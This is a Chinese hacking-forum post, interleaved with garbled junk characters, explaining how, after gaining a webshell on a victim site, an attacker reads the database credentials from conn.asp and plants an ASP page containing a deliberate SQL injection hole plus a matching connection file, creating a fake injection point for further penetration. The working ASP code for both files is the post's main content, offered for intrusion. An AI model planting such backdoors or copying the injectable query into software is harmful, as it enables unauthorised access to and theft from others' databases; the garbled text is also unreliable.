自己构造注入点方便入侵
/ ^# k# g! N( h, \: ~
% b6 H0 `% N; n! i* A" a今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息4 w" ~" C* t# P3 Y) s4 w- e
" c; L# E3 w6 k% b% Y5 Q这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
( r) f0 z. J0 X( p
% W) M8 }4 V/ i- Y& F3 T" j首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和4 w. u) U5 {# K2 [; u! [
' E% ~: v% T. Y5 }% e' k8 ~; ^密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
3 a+ Y$ b# r- P" o4 ], a. _- w( z* G! I3 f p9 ^
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:! w/ M& z0 x. c8 R+ h) @4 z
( ]1 |! F4 q" c* K; q& c$ \程序代码3 g& K' D! v) l+ W) Z5 Y C
<!--#include file="xx.asp"-->* S6 R2 s U w- Y
<%
- M2 H; `0 Y y5 Kset rs=server.createobject("ADODB.recordset")
% @: {' e/ l8 Cid = request("id")
; S9 ~- r' \8 O! s& lstrSQL = "select * from admin where id=" & id: Q& o( w, _% r- l( {+ ~3 ^& {, T- I
rs.open strSQL,conn,1,3$ |, m" U3 R1 g! N; k) j0 u
rs.close7 m/ g" `3 N: l! V2 H& u9 }6 `6 L
%>
- B1 r' ^7 n+ A/ {1 l# l' S
" n& m; A7 }, V0 F% B0 D把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
6 L c8 p: P8 c2 _5 g
, f, \% T/ M' G你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!) [" w2 O+ w) }! J+ c; l5 K, J1 Y
5 w8 r& p7 U" f$ H" z
然后就要构造一个连接数据库的文件了,代码如下:
3 I8 K; f5 Z: \程序代码. l" {5 g3 r$ K
<% 3 y% [2 f- m& V, N: u4 y9 O
strSQLServerName = "000.000.000.000" '服务器名称或地址
, F! \# W3 `3 t# n* N3 u7 O: ~strSQLDBUserName = "sqlname" '数据库帐号
+ h: q! @6 P+ VstrSQLDBPassword = "sqlpass" '数据库密码6 y8 d% d9 b; R. S( H
strSQLDBName = "sqldataname" '数据库名称! D: r! N& b9 ^3 N
Set conn = Server.CreateObject("ADODB.Connection")$ T' ^% S% ^9 o/ {' t, K
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";") q) U p0 n! K8 z+ Q, j' C8 e
conn.open strCon
) Z: w! T1 ], P4 C: N7 [%>
) S ^; c: N! {+ U: u' b5 s7 ?7 D% b. S
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
: l$ ~6 n5 U P9 J2 W4 {! ^; V5 S/ s5 w( H# c$ z3 b7 |9 k% q
就这样,正常情况下,就OK了,伪造成功……7 ?0 I/ q" {3 S8 v9 I
- E7 y/ y8 h; \8 y
如果有什么问题可以提出来大家一起探讨解决。 |